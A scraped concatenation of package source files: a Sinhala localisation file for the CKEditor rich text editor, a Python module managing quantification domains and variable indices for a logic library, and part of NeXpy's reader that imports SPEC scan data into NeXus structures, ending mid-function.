CKEDITOR.lang['si']={"editor":"පොහොසත් වචන සංස්කරණ","editorPanel":"Rich Text Editor panel","common":{"editorHelp":"උදව් ලබා ගැනීමට ALT බොත්තම ඔබන්න","browseServer":"සෙවුම් සේවාදායකය","url":"URL","protocol":"මුලාපත්රය","upload":"උඩුගතකිරීම","uploadSubmit":"සේවාදායකය වෙත යොමුකිරිම","image":"රුපය","flash":"දීප්තිය","form":"පෝරමය","checkbox":"ලකුණුකිරීමේ කොටුව","radio":"තේරීම් ","textField":"ලියන ප්රදේශය","textarea":"අකුරු ","hiddenField":"සැඟවුණු ප්රදේශය","button":"බොත්තම","select":"තෝරන්න ","imageButton":"රුප ","notSet":"<යොදා >","id":"අංකය","name":"නම","langDir":"භාෂා දිශාව","langDirLtr":"වමේසිට දකුණුට","langDirRtl":"දකුණේ සිට වමට","langCode":"භාෂා කේතය","longDescr":"සම්පුර්න පැහැදිලි කිරීම","cssClass":"විලාශ පත්ර පන්තිය","advisoryTitle":"උපදෙස් ","cssStyle":"විලාසය","ok":"නිරදි","cancel":"අවලංගු කිරීම","close":"වැසීම","preview":"නැවත ","resize":"විශාලත්වය නැවත වෙනස් කිරීම","generalTab":"පොදු කරුණු.","advancedTab":"දීය","validateNumberFailed":"මෙම වටිනාකම අංකයක් නොවේ","confirmNewPage":"ආරක්ෂා නොකළ සියලුම දත්තයන් මැකියනුලැබේ. ඔබට නව පිටුවක් ලබා ගැනීමට අවශ්යද?","confirmCancel":"ඇතම් විකල්පයන් වෙනස් කර ඇත. ඔබට මින් නික්මීමට අවශ්යද?","options":" විකල්ප","target":"අරමුණ","targetNew":"නව කව්ළුව","targetTop":"වැදගත් කව්ළුව","targetSelf":"එම කව්ළුව(_තම\\\\)","targetParent":"මව් කව්ළුව(_)","langDirLTR":"වමේසිට දකුණුට","langDirRTL":"දකුණේ සිට වමට","styles":"විලාසය","cssClasses":"විලාසපත්ර පන්තිය","width":"පළල","height":"උස","align":"ගැලපුම","left":"වම","right":"දකුණ","center":"මධ්ය","justify":"Justify","alignLeft":"Align Left","alignRight":"Align Right","alignCenter":"Align Center","alignTop":"ඉ","alignMiddle":"මැද","alignBottom":"පහල","alignNone":"None","invalidValue":"වැරදී වටිනාකමකි","invalidHeight":"උස අංකයක් විය යුතුය","invalidWidth":"පළල අංකයක් විය යුතුය","invalidLength":"Value specified for the \"%1\" field must be a positive number with or without a valid measurement unit (%2).","invalidCssLength":"වටිනාකමක් නිරූපණය කිරීම \"%1\" ප්රදේශය ධන සංක්යාත්මක වටිනාකමක් හෝ නිවරදි නොවන CSS මිනුම් එකක(px, %, in, cm, mm, em, ex, pt, pc)","invalidHtmlLength":"වටිනාකමක් නිරූපණය කිරීම \"%1\" ප්රදේශය ධන සංක්යාත්මක වටිනාකමක් හෝ නිවරදි නොවන HTML මිනුම් එකක (px හෝ %).","invalidInlineStyle":"වටිනාකමක් නිරූපණය කිරීම පේළි විලාසයයට ආකෘතිය අනතර්ග විය යුතය \"නම : වටිනාකම\", තිත් කොමාවකින් වෙන් වෙන ලද.","cssLengthTooltip":"සංක්යා ඇතුලත් කිරීමේදී වටිනාකම තිත් ප්රමාණය නිවරදි CSS ඒකක(තිත්, %, අඟල්,සෙමි, mm, em, ex, pt, pc)","unavailable":"%1<span පන්තිය=\"ළඟා වියහැකි ද බලන්න\">, නොමැතිනම්</span>","keyboard":{"8":"Backspace","13":"Enter","16":"Shift","17":"Ctrl","18":"Alt","32":"Space","35":"End","36":"Home","46":"Delete","112":"F1","113":"F2","114":"F3","115":"F4","116":"F5","117":"F6","118":"F7","119":"F8","120":"F9","121":"F10","122":"F11","123":"F12","124":"F13","125":"F14","126":"F15","127":"F16","128":"F17","129":"F18","130":"F19","131":"F20","132":"F21","133":"F22","134":"F23","135":"F24","224":"Command"},"keyboardShortcut":"Keyboard shortcut","optionDefault":"Default"},"about":{"copy":"පිටපත් අයිතිය සහ පිටපත් කිරීම;$1 .සියලුම හිමිකම් ඇවිරිණි.","dlgTitle":"CKEditor ගැන විස්තර","moreInfo":"බලපත්ර තොරතුරු සදහා කරුණාකර අපගේ විද්යුත් ලිපිනයට පිවිසෙන්න:"},"basicstyles":{"bold":"තද අකුරින් ලියනලද","italic":"බැධීඅකුරින් ලියන ලද","strike":"Strikethrough","subscript":"Subscript","superscript":"Superscript","underline":"යටින් ඉරි අදින ලද"},"bidi":{"ltr":"වගන්ති දිශාව වමේ සිට දකුණට","rtl":"වගන්ති දිශාව දකුණේ සිට වමට"},"blockquote":{"toolbar":"උද්ධෘත කොටස"},"notification":{"closed":"Notification closed."},"toolbar":{"toolbarCollapse":"මෙවලම් තීරුව හැකුලුම.","toolbarExpand":"මෙවලම් තීරුව දීගහැරුම","toolbarGroups":{"document":"ලිපිය","clipboard":"ඇමිණුම වෙනස් කිරීම","editing":"සංස්කරණය","forms":"පෝරමය","basicstyles":"මුලික විලාසය","paragraph":"චේදය","links":"සබැඳිය","insert":"ඇතුලත් කිරීම","styles":"විලාසය","colors":"වර්ණය","tools":"මෙවලම්"},"toolbars":"සංස්කරණ මෙවලම් තීරුව"},"clipboard":{"copy":"පිටපත් කරන්න","copyError":"Your browser security settings don't permit the editor to automatically execute copying operations. Please use the keyboard for that (Ctrl/Cmd+C).","cut":"කපාගන්න","cutError":"Your browser security settings don't permit the editor to automatically execute cutting operations. Please use the keyboard for that (Ctrl/Cmd+X).","paste":"අලවන්න","pasteNotification":"Press %1 to paste. Your browser doesn‘t support pasting with the toolbar button or context menu option.","pasteArea":"අලවන ප්රදේශ","pasteMsg":"Paste your content inside the area below and press OK."},"colorbutton":{"auto":"Automatic","bgColorTitle":"පසුබිම් වර්ණය","colors":{"000":"Black","800000":"Maroon","8B4513":"Saddle Brown","2F4F4F":"Dark Slate Gray","008080":"Teal","000080":"Navy","4B0082":"Indigo","696969":"Dark Gray","B22222":"Fire Brick","A52A2A":"Brown","DAA520":"Golden Rod","006400":"Dark Green","40E0D0":"Turquoise","0000CD":"Medium Blue","800080":"Purple","808080":"Gray","F00":"Red","FF8C00":"Dark Orange","FFD700":"Gold","008000":"Green","0FF":"Cyan","00F":"Blue","EE82EE":"Violet","A9A9A9":"Dim Gray","FFA07A":"Light Salmon","FFA500":"Orange","FFFF00":"Yellow","00FF00":"Lime","AFEEEE":"Pale Turquoise","ADD8E6":"Light Blue","DDA0DD":"Plum","D3D3D3":"Light Grey","FFF0F5":"Lavender Blush","FAEBD7":"Antique White","FFFFE0":"Light Yellow","F0FFF0":"Honeydew","F0FFFF":"Azure","F0F8FF":"Alice Blue","E6E6FA":"Lavender","FFF":"White","1ABC9C":"Strong Cyan","2ECC71":"Emerald","3498DB":"Bright Blue","9B59B6":"Amethyst","4E5F70":"Grayish Blue","F1C40F":"Vivid Yellow","16A085":"Dark Cyan","27AE60":"Dark Emerald","2980B9":"Strong Blue","8E44AD":"Dark Violet","2C3E50":"Desaturated Blue","F39C12":"Orange","E67E22":"Carrot","E74C3C":"Pale Red","ECF0F1":"Bright Silver","95A5A6":"Light Grayish Cyan","DDD":"Light Gray","D35400":"Pumpkin","C0392B":"Strong Red","BDC3C7":"Silver","7F8C8D":"Grayish Cyan","999":"Dark Gray"},"more":"More Colors...","panelTitle":"වර්ණය","textColorTitle":"අක්ෂර වර්ණ"},"colordialog":{"clear":"පැහැදිලි","highlight":"මතුකර පෙන්වන්න","options":"වර්ණ විකල්ප","selected":"තෙරු වර්ණ","title":"වර්ණ තෝරන්න"},"templates":{"button":"අච්චුව","emptyListMsg":"කිසිම අච්චුවක් කලින් තීරණය කර ","insertOption":"සත්ය අන්තර්ගතයන් ප්රතිස්ථාපනය කරන්න","options":"අච්චු ","selectPromptMsg":"කරුණාකර සංස්කරණය සදහා අච්චුවක් ","title":"අන්තර්ගත් අච්චුන්"},"contextmenu":{"options":"අනතර්ග ලේඛණ විකල්ප"},"copyformatting":{"label":"Copy Formatting","notification":{"copied":"Formatting copied","applied":"Formatting applied","canceled":"Formatting canceled","failed":"Formatting failed. You cannot apply styles without copying them first."}},"div":{"IdInputLabel":"අංකය","advisoryTitleInputLabel":"උපදේශාත්මක නාමය","cssClassInputLabel":"විලාසපත්ර පන්තිය","edit":"වෙනස්කිරීම","inlineStyleInputLabel":"Inline Style","langDirLTRLabel":"වමේසිට දකුණුට","langDirLabel":"භාෂා දිශාව","langDirRTLLabel":"දකුණේ සිට වමට","languageCodeInputLabel":"භාෂා ","remove":"ඉවත් කිරීම","styleSelectLabel":"විලාසය","title":"නිර්මාණය ","toolbar":"නිර්මාණය "},"elementspath":{"eleLabel":"මුලද්රව්ය මාර්ගය","eleTitle":"%1 මුල"},"filetools":{"loadError":"Error occurred during file read.","networkError":"Network error occurred during file upload.","httpError404":"HTTP error occurred during file upload (404: File not found).","httpError403":"HTTP error occurred during file upload (403: Forbidden).","httpError":"HTTP error occurred during file upload (error status: %1).","noUrlError":"Upload URL is not defined.","responseError":"Incorrect server response."},"find":{"find":"Find","findOptions":"Find Options","findWhat":"Find what:","matchCase":"Match case","matchCyclic":"Match cyclic","matchWord":"Match whole word","notFoundMsg":"The specified text was not found.","replace":"හිලව් කිරීම","replaceAll":"සියල්ලම හිලව් කරන්න","replaceSuccessMsg":"%1 occurrence(s) replaced.","replaceWith":"Replace with:","title":"Find and Replace"},"fakeobjects":{"anchor":"ආධාරය","flash":"Flash Animation","hiddenfield":"සැඟවුණු ප්රදේශය","iframe":"IFrame","unknown":"Unknown Object"},"flash":{"access":"පිටපත් ප්රවේශය","accessAlways":"හැමවිටම","accessNever":"කිසිදා නොවේ","accessSameDomain":"එකම වසමේ","alignAbsBottom":"පතුල","alignAbsMiddle":"Abs ","alignBaseline":"පාද රේඛාව","alignTextTop":"වගන්තිය ඉහල","bgcolor":"පසුබිම් වර්ණය","chkFull":"පුර්ණ තිරය සදහා අවසර","chkLoop":"පුඩුව","chkMenu":"සක්රිය බබලන මෙනුව","chkPlay":"ස්වයංක්රිය ක්රියාත්මක වීම","flashvars":"වෙනස්වන දත්ත","hSpace":"HSpace","properties":"බබලන ගුණ","propertiesTab":"ගුණ","quality":"තත්වය","qualityAutoHigh":"ස්වයංක්රිය ","qualityAutoLow":" ස්වයංක්රිය ","qualityBest":"වඩාත් ගැලපෙන","qualityHigh":"ඉහළ","qualityLow":"පහළ","qualityMedium":"මධ්ය","scale":"පරිමාණ","scaleAll":"සියල්ල ","scaleFit":"හරියටම ගැලපෙන","scaleNoBorder":"මාඉම් නොමැති","title":"බබලන ","vSpace":"VSpace","validateHSpace":"HSpace සංක්යාවක් විය යුතුය.","validateSrc":"URL හිස් නොවිය ","validateVSpace":"VSpace සංක්යාවක් විය යුතුය","windowMode":"ජනෙල ක්රමය","windowModeOpaque":"විනිවිද පෙනෙන","windowModeTransparent":"විනිවිද පෙනෙන","windowModeWindow":"ජනෙල"},"font":{"fontSize":{"label":"විශාලත්වය","voiceLabel":"අක්ෂර විශාලත්වය","panelTitle":"අක්ෂර විශාලත්වය"},"label":"අක්ෂරය","panelTitle":"අක්ෂර නාමය","voiceLabel":"අක්ෂර"},"forms":{"button":{"title":"බොත්තම් ගුණ","text":"වගන්තිය(වටිනාකම)","type":"වර්ගය","typeBtn":"බොත්තම","typeSbm":"යොමුකරනවා","typeRst":"නැවත ආරම්භකතත්වයට පත් කරනවා"},"checkboxAndRadio":{"checkboxTitle":"ලකුණු කිරීමේ කොටුවේ ලක්ෂණ","radioTitle":"Radio Button Properties","value":"Value","selected":"Selected","required":"Required"},"form":{"title":"පෝරමයේ ","menu":"පෝරමයේ ගුණ/","action":"ගන්නා පියවර","method":"ක්රමය","encoding":"කේතීකරණය"},"hidden":{"title":"සැඟවුණු ප්රදේශයේ ","name":"නම","value":"Value"},"select":{"title":"තේරීම් ප්රදේශයේ ","selectInfo":"විස්තර තෝරන්න","opAvail":"ඉතුරුවී ඇති වීකල්ප","value":"Value","size":"විශාලත්වය","lines":"lines","chkMulti":"Allow multiple selections","required":"Required","opText":"Text","opValue":"Value","btnAdd":"Add","btnModify":"Modify","btnUp":"Up","btnDown":"Down","btnSetValue":"Set as selected value","btnDelete":"මකා දැම්ම"},"textarea":{"title":"Textarea Properties","cols":"සිරස් ","rows":"Rows"},"textfield":{"title":"Text Field Properties","name":"නම","value":"Value","charWidth":"Character Width","maxChars":"Maximum Characters","required":"Required","type":"වර්ගය","typeText":"Text","typePass":"Password","typeEmail":"Email","typeSearch":"Search","typeTel":"Telephone Number","typeUrl":"URL"}},"format":{"label":"ආකෘතිය","panelTitle":"චේදයේ ","tag_address":"ලිපිනය","tag_div":"සාමාන්ය(DIV)","tag_h1":"ශීර්ෂය 1","tag_h2":"ශීර්ෂය 2","tag_h3":"ශීර්ෂය 3","tag_h4":"ශීර්ෂය 4","tag_h5":"ශීර්ෂය 5","tag_h6":"ශීර්ෂය 6","tag_p":"සාමාන්ය","tag_pre":"ආකෘතියන්"},"horizontalrule":{"toolbar":"තිරස් රේඛාවක් ඇතුලත් කරන්න"},"iframe":{"border":"සැකිල්ලේ කඩයිම් ","noUrl":"කරුණාකර රුපයේ URL ලියන්න","scrolling":"සක්ක්රිය කරන්න","title":"IFrame Properties","toolbar":"IFrame"},"image":{"alt":"විකල්ප ","border":"සීමාවවල ","btnUpload":"සේවාදායකය වෙත යොමුකිරිම","button2Img":"ඔබට තෝරන ලද රුපය පරිවර්තනය කිරීමට අවශ්යද?","hSpace":"HSpace","img2Button":"ඔබට තෝරන ලද රුපය පරිවර්තනය කිරීමට අවශ්යද?","infoTab":"රුපයේ තොරතුරු","linkTab":"සබැඳිය","lockRatio":"නවතන අනුපාතය ","menu":"රුපයේ ගුණ","resetSize":"නැවතත් විශාලත්වය වෙනස් කිරීම","title":"රුපයේ ","titleButton":"රුප බොත්තමේ ගුණ","upload":"උඩුගතකිරීම","urlMissing":"රුප මුලාශ්ර URL නැත.","vSpace":"VSpace","validateBorder":"මාඉම් සම්පුර්ණ සංක්යාවක් විය යුතුය.","validateHSpace":"HSpace සම්පුර්ණ සංක්යාවක් විය යුතුය","validateVSpace":"VSpace සම්පුර්ණ සංක්යාවක් විය යුතුය."},"indent":{"indent":"අතර පරතරය වැඩිකරන්න","outdent":"අතර පරතරය අඩුකරන්න"},"smiley":{"options":"හාස්ය විකල්ප","title":"හාස්යන් ඇතුලත් කිරීම","toolbar":"හාස්යන්"},"language":{"button":"Set language","remove":"Remove language"},"link":{"acccessKey":"ප්රවේශ යතුර","advanced":"දීය","advisoryContentType":"උපදේශාත්මක අන්තර්ගත ආකාරය","advisoryTitle":"උපදේශාත්මක නාමය","anchor":{"toolbar":"ආධාරය","menu":"ආධාරය වෙනස් කිරීම","title":"ආධාරක ","name":"ආධාරකයේ නාමය","errorName":"කරුණාකර ආධාරකයේ නාමය ඇතුල් කරන්න","remove":"ආධාරකය ඉවත් කිරීම"},"anchorId":"By Element Id","anchorName":"By Anchor Name","charset":"Linked Resource Charset","cssClasses":"විලාසපත්ර පන්තිය","download":"Force Download","displayText":"Display Text","emailAddress":"E-Mail Address","emailBody":"Message Body","emailSubject":"Message Subject","id":"අංකය","info":"Link Info","langCode":"භාෂා කේතය","langDir":"භාෂා දිශාව","langDirLTR":"වමේසිට දකුණුට","langDirRTL":"දකුණේ සිට වමට","menu":"Edit Link","name":"නම","noAnchors":"(No anchors available in the document)","noEmail":"Please type the e-mail address","noUrl":"Please type the link URL","noTel":"Please type the phone number","other":"<other>","phoneNumber":"Phone number","popupDependent":"Dependent (Netscape)","popupFeatures":"Popup Window Features","popupFullScreen":"Full Screen (IE)","popupLeft":"Left Position","popupLocationBar":"Location Bar","popupMenuBar":"Menu Bar","popupResizable":"Resizable","popupScrollBars":"Scroll Bars","popupStatusBar":"Status Bar","popupToolbar":"Toolbar","popupTop":"Top Position","rel":"Relationship","selectAnchor":"Select an Anchor","styles":"විලාසය","tabIndex":"Tab Index","target":"අරමුණ","targetFrame":"<frame>","targetFrameName":"Target Frame Name","targetPopup":"<popup window>","targetPopupName":"Popup Window Name","title":"සබැඳිය","toAnchor":"Link to anchor in the text","toEmail":"E-mail","toUrl":"URL","toPhone":"Phone","toolbar":"සබැඳිය","type":"Link Type","unlink":"Unlink","upload":"උඩුගතකිරීම"},"list":{"bulletedlist":"ඇතුලත් / ඉවත් කිරීම ලඉස්තුව","numberedlist":"ඇතුලත් / ඉවත් කිරීම අන්න්කිත ලඉස්තුව"},"liststyle":{"bulletedTitle":"Bulleted List Properties","circle":"Circle","decimal":"Decimal (1, 2, 3, etc.)","disc":"Disc","lowerAlpha":"Lower Alpha (a, b, c, d, e, etc.)","lowerRoman":"Lower Roman (i, ii, iii, iv, v, etc.)","none":"කිසිවක්ම නොවේ","notset":"<යොදා >","numberedTitle":"Numbered List Properties","square":"Square","start":"Start","type":"වර්ගය","upperAlpha":"Upper Alpha (A, B, C, D, E, etc.)","upperRoman":"Upper Roman (I, II, III, IV, V, etc.)","validateStartNumber":"List start number must be a whole number."},"magicline":{"title":"චේදය ඇතුලත් කරන්න"},"maximize":{"maximize":"විශාල කිරීම","minimize":"කුඩා කිරීම"},"newpage":{"toolbar":"නව පිටුවක්"},"pagebreak":{"alt":"පිටු බිදුම","toolbar":"මුද්රණය සඳහා පිටු බිදුමක් ඇතුලත් කරන්න"},"pastetext":{"button":"සාමාන්ය අක්ෂර ලෙස අලවන්න","pasteNotification":"Press %1 to paste. Your browser doesn‘t support pasting with the toolbar button or context menu option.","title":"සාමාන්ය අක්ෂර ලෙස අලවන්න"},"pastefromword":{"confirmCleanup":"The text you want to paste seems to be copied from Word. Do you want to clean it before pasting?","error":"It was not possible to clean up the pasted data due to an internal error","title":"වචන වලින් අලවන්න","toolbar":"වචන වලින් අලවන්න"},"preview":{"preview":"නැවත "},"print":{"toolbar":"මුද්රණය කරන්න"},"removeformat":{"toolbar":"සැකසීම වෙනස් කරන්න"},"save":{"toolbar":"ආරක්ෂා කරන්න"},"selectall":{"toolbar":"සියල්ලම "},"showblocks":{"toolbar":"කොටස පෙන්නන්න"},"sourcearea":{"toolbar":"මුලාශ්රය"},"specialchar":{"options":"විශේෂ ගුණාංග වීකල්ප","title":"විශේෂ ගුණාංග ","toolbar":"විශේෂ ගුණාංග ඇතුලත් "},"scayt":{"btn_about":"About SCAYT","btn_dictionaries":"Dictionaries","btn_disable":"Disable SCAYT","btn_enable":"Enable SCAYT","btn_langs":"Languages","btn_options":"Options","text_title":"Spell Check As You Type"},"stylescombo":{"label":"විලාසය","panelTitle":"Formatting Styles","panelTitle1":"Block Styles","panelTitle2":"Inline Styles","panelTitle3":"Object Styles"},"table":{"border":"සීමාවවල විශාලත්වය","caption":"Caption","cell":{"menu":"කොටුව","insertBefore":"පෙර කොටුවක් ඇතුල්කිරිම","insertAfter":"පසුව කොටුවක් ඇතුලත් ","deleteCell":"කොටුව මැකීම","merge":"කොටු එකට යාකිරිම","mergeRight":"දකුණට ","mergeDown":"පහලට ","splitHorizontal":"තිරස්ව කොටු පැතිරීම","splitVertical":"සිරස්ව කොටු පැතිරීම","title":"කොටු ","cellType":"කොටු වර්ගය","rowSpan":"පේළි පළල","colSpan":"සිරස් පළල","wordWrap":"වචන ගැලපුම","hAlign":"තිරස්ව ","vAlign":"සිරස්ව ","alignBaseline":"පාද රේඛාව","bgColor":"පසුබිම් වර්ණය","borderColor":"මායිම් ","data":"Data","header":"ශීර්ෂක","yes":"ඔව්","no":"නැත","invalidWidth":"කොටු පළල සංඛ්ය්ත්මක වටිනාකමක් විය යුතුය","invalidHeight":"කොටු උස සංඛ්ය්ත්මක වටිනාකමක් විය යුතුය","invalidRowSpan":"Rows span must be a whole number.","invalidColSpan":"Columns span must be a whole number.","chooseColor":"තෝරන්න"},"cellPad":"Cell padding","cellSpace":"Cell spacing","column":{"menu":"Column","insertBefore":"Insert Column Before","insertAfter":"Insert Column After","deleteColumn":"Delete Columns"},"columns":"සිරස් ","deleteTable":"වගුව මකන්න","headers":"ශීර්ෂක","headersBoth":"දෙකම","headersColumn":"පළමූ සිරස් තීරුව","headersNone":"කිසිවක්ම නොවේ","headersRow":"පළමූ පේළිය","heightUnit":"height unit","invalidBorder":"Border size must be a number.","invalidCellPadding":"Cell padding must be a positive number.","invalidCellSpacing":"Cell spacing must be a positive number.","invalidCols":"Number of columns must be a number greater than 0.","invalidHeight":"Table height must be a number.","invalidRows":"Number of rows must be a number greater than 0.","invalidWidth":"Table width must be a number.","menu":"Table Properties","row":{"menu":"Row","insertBefore":"Insert Row Before","insertAfter":"Insert Row After","deleteRow":"Delete Rows"},"rows":"Rows","summary":"Summary","title":"Table Properties","toolbar":"Table","widthPc":"percent","widthPx":"pixels","widthUnit":"width unit"},"undo":{"redo":"නැවත කිරීම","undo":"වෙනස් කිරීම"},"widget":{"move":"Click and drag to move","label":"%1 widget"},"uploadwidget":{"abort":"Upload aborted by the user.","doneOne":"File successfully uploaded.","doneMany":"Successfully uploaded %1 files.","uploadOne":"Uploading file ({percentage}%)...","uploadMany":"Uploading files, {current} of {max} done ({percentage}%)..."},"wsc":{"btnIgnore":"Ignore","btnIgnoreAll":"Ignore All","btnReplace":"Replace","btnReplaceAll":"Replace All","btnUndo":"Undo","changeTo":"Change to","errorLoading":"Error loading application service host: %s.","ieSpellDownload":"Spell checker not installed. Do you want to download it now?","manyChanges":"Spell check complete: %1 words changed","noChanges":"Spell check complete: No words changed","noMispell":"Spell check complete: No misspellings found","noSuggestions":"- No suggestions -","notAvailable":"Sorry, but service is unavailable now.","notInDic":"Not in dictionary","oneChange":"Spell check complete: One word changed","progress":"Spell check in progress...","title":"Spell Checker","toolbar":"Check Spelling"}}; | PypiClean |
/Exh-1.1.2.tar.gz/Exh-1.1.2/exh/model/vars.py | import numpy as np
from . import options
from . import exceptions
class Domain:
"""
Represents some domain of quantification.
Attributes:
- n (int) -- the size of the domain of quantification
"""
def __init__(self, size):
self._n = size
@property
def n(self):
return self._n
class DefaultDomain(Domain):
"""
A domain whose size is rigidly bound to "options.dom_quant"
"""
def __init__(self):
super(DefaultDomain, self).__init__(options.dom_quant)
@property
def n(self):
return options.dom_quant
default_domain = DefaultDomain()
D3 = Domain(3)
D4 = Domain(4)
D5 = Domain(5)
class VarManager:
"""
VarManager keeps track of all independent variables in a given system.
Maps propositional variables and fully saturated predicate variables to indices
Example:
System: unary predicate p and proposition q; domain of individuals = 3
Values: p(0) p(1) p(2) q
are mapped to
Indices: 0 1 2 3
Attributes:
preds -- a dictionary mapping predicate indices to the sizes of the domains they depend on
pred_to_vm_index -- a dictionary mapping predicate indices to a position (e.g. if a has index 1 and b index 4, a is mapped to position 0 and b to position 1)
names -- a dictionary mapping predicate names to their indices
memory -- a list mapping predicate positions to how many bits are required to define this predicate
offset -- a list mapping predicate positions to the bit index offset at which they are defined.
"""
def __init__(self, preds, names = dict()):
self.preds = preds
self.names = names
# pred_to_vm_index : dictionary mapping Formula's predicate indices to VarManager's predicate indices
self.pred_to_vm_index = {pred_idx: vm_idx for vm_idx, pred_idx in enumerate(self.preds.keys())}
self.linearize()
def linearize(self):
"""
How many independent boolean values to specify the propositional variables.
propositions: 1 i
unary predicate: dom_quant
etc
"""
self.memory = [grand_product(deps) for _, deps in self.preds.items()]
# position in memory of bits devoted to a parcitular predicate
self.offset = [0]
for mem in self.memory[:-1]:
self.offset.append(self.offset[-1] + mem)
def merge(*vms):
return VarManager(preds = {k: v for vm in vms for k, v in vm.preds.items()},
names = {k: v for vm in vms for k, v in vm.names.items()})
@property
def n(self):
"""
Number of bits required to specify an assignment
"""
return sum(self.memory)
def index(self, pred, value_slots):
if pred in self.preds:
deps = self.preds[pred]
else:
raise exceptions.UnknownPred(pred, self)
pred_idx = self.pred_to_vm_index[pred]
offset = self.offset[pred_idx]
# to_return = offset
# multiplier = 1
# for slot, dep in zip(value_slots, deps):
# to_return += slot * multiplier
# multiplier *= dep
# print(value_slots, deps)
try:
return offset + (np.ravel_multi_index(value_slots, deps, order = "F") if deps else 0)
except ValueError:
raise Exception("Can't access {} in predicate with domain sizes {}".format(value_slots, deps))
def grand_product(list_numbers):
"""
Computes grand product of a list.
[1, 2, 3] -> 6 (= 2 * 3)
"""
to_return = 1
for nb in list_numbers:
to_return *= nb
return to_return | PypiClean |
/NeXpy-1.0.4-py3-none-any.whl/nexpy/readers/readspec.py | import os
import numpy as np
from nexpy.gui.importdialog import NXImportDialog
from nexpy.gui.pyqt import QtWidgets, getOpenFileName
from nexpy.gui.widgets import NXLabel, NXLineEdit
from nexusformat.nexus.tree import (NeXusError, NXdata, NXentry, NXfield,
NXlog, NXroot)
filetype = "SPEC File"
class ImportDialog(NXImportDialog):
"""Dialog to import SPEC Scans."""
def __init__(self, parent=None):
super().__init__(parent=parent)
try:
import spec2nexus
except ImportError:
raise NeXusError("Please install the 'spec2nexus' module")
self.accepted = False
self.import_file = None # must set in self.get_data()
self.spec = None
# progress bar is updated via calls to pdate_progress()
self.progress_bar = QtWidgets.QProgressBar()
self.progress_bar.setVisible(False)
status_layout = QtWidgets.QHBoxLayout()
status_layout.addWidget(self.progress_bar)
status_layout.addStretch()
status_layout.addWidget(self.close_buttons())
self.layout = QtWidgets.QVBoxLayout()
self.layout.addLayout(self.filebox())
self.layout.addLayout(self.scanbox())
self.layout.addLayout(status_layout)
self.setLayout(self.layout)
self.setWindowTitle("Import "+str(filetype))
def scanbox(self):
"""Create widgets for specifying scan range to import."""
scanminlabel = NXLabel("Min. Scan")
self.scanmin = NXLineEdit(width=100, align='right')
scanmaxlabel = NXLabel("Max. Scan")
self.scanmax = NXLineEdit(width=100, align='right')
scanbox = QtWidgets.QHBoxLayout()
scanbox.addWidget(scanminlabel)
scanbox.addWidget(self.scanmin)
scanbox.addWidget(scanmaxlabel)
scanbox.addWidget(self.scanmax)
return scanbox
def get_scan_numbers(self):
return sorted([int(s) for s in self.spec.getScanNumbers()])
def choose_file(self):
"""Opens file dialog, set file text box to the chosen path."""
from spec2nexus.spec import SpecDataFile
dirname = self.get_default_directory(self.filename.text())
filename = getOpenFileName(self, 'Open file', dirname)
if os.path.exists(filename):
self.filename.setText(str(filename))
self.spec = SpecDataFile(self.get_filename())
self.set_default_directory(os.path.dirname(filename))
all_scans = self.get_scan_numbers()
scan_min = all_scans[0]
self.scanmin.setText(str(scan_min))
scan_max = all_scans[-1]
self.scanmax.setText(str(scan_max))
def get_data(self):
"""Read the data and return :class:`NXroot` or :class:`NXentry`."""
self.import_file = self.get_filename()
if not os.path.exists(self.import_file):
return None
if self.spec is None:
return None
scan_min = int(self.scanmin.text())
scan_max = int(self.scanmax.text())
all_scans = self.get_scan_numbers()
scans = [s for s in all_scans if scan_min <= s <= scan_max]
self.spec.progress_bar = self.progress_bar
self.spec.update_progress = self.update_progress
return Parser(self.spec).toTree(scans)
class Parser:
"""Parse the spec data file object."""
def __init__(self, spec_data=None):
"""Instance of :class:`spec2nexus.prjPySpec.SpecDataFile`"""
self.SPECfile = spec_data
self.progress_bar = spec_data.progress_bar
self.update_progress = spec_data.update_progress
def openFile(self, filename):
"""Open the SPEC file and get its data."""
from spec2nexus.spec import SpecDataFile
if os.path.exists(filename):
self.SPECfile = SpecDataFile(filename)
def toTree(self, scan_list=[]):
"""Convert scans from SPEC file into NXroot object and structure.
Called from nexpy.readers.readspec.ImportDialog.get_data__prjPySpec()
after clicking <Ok> in dialog.
Each scan in the range from self.scanmin to self.scanmax (inclusive)
will be converted to a NXentry. Scan data will go in a NXdata where
the signal=1 is the last column and the corresponding axes= is the
first column.
:param [int] scanlist
:raises: ValueError is Min or Max scan number are not given properly
"""
import spec2nexus
from spec2nexus import utils
# check that scan_list is valid
if len(scan_list) == 0:
return None
if self.SPECfile is None:
return None
complete_scan_list = list(self.SPECfile.scans)
for key in [str(s) for s in scan_list]:
if key not in complete_scan_list:
msg = 'scan ' + str(key) + ' was not found'
raise ValueError(msg)
root = NXroot()
root.attrs['spec2nexus'] = str(spec2nexus.__version__)
header0 = self.SPECfile.headers[0]
root.attrs['SPEC_file'] = self.SPECfile.fileName
root.attrs['SPEC_epoch'] = header0.epoch
root.attrs['SPEC_date'] = utils.iso8601(header0.date)
root.attrs['SPEC_comments'] = '\n'.join(header0.comments)
try:
c = header0.comments[0]
user = c[c.find('User = '):].split('=')[1].strip()
root.attrs['SPEC_user'] = user
except Exception:
pass
root.attrs['SPEC_num_headers'] = len(self.SPECfile.headers)
self.progress_bar.setVisible(True)
self.progress_bar.setRange(scan_list[0], scan_list[-1])
for key in [str(s) for s in scan_list]:
scan = self.SPECfile.getScan(key)
scan.interpret()
entry = NXentry()
entry.title = str(scan)
entry.date = utils.iso8601(scan.date)
entry.command = scan.scanCmd
entry.scan_number = NXfield(scan.scanNum)
entry.comments = '\n'.join(scan.comments)
entry.data = self.scan_NXdata(
scan) # store the scan data
entry.positioners = self.metadata_NXlog(
scan.positioner, 'SPEC positioners (#P & #O lines)')
if hasattr(scan, 'metadata') and len(scan.metadata) > 0:
entry.metadata = self.metadata_NXlog(
scan.metadata,
'SPEC metadata (UNICAT-style #H & #V lines)')
if len(scan.G) > 0:
entry.G = NXlog()
desc = "SPEC geometry arrays, defined by SPEC diffractometer"
# e.g.: SPECD/four.mac
# http://certif.com/spec_manual/fourc_4_9.html
entry.G.attrs['description'] = desc
for item, value in scan.G.items():
entry.G[item] = NXfield(list(map(float, value.split())))
if scan.T != '':
entry['counting_basis'] = NXfield(
'SPEC scan with constant counting time')
entry['T'] = NXfield(float(scan.T))
entry['T'].units = 's'
entry['T'].description = 'Scan with constant counting time'
elif scan.M != '':
entry['counting_basis'] = NXfield(
'SPEC scan with constant monitor count')
entry['M'] = NXfield(float(scan.M))
entry['M'].units = 'counts'
entry['M'].description = 'Scan with constant monitor count'
if scan.Q != '':
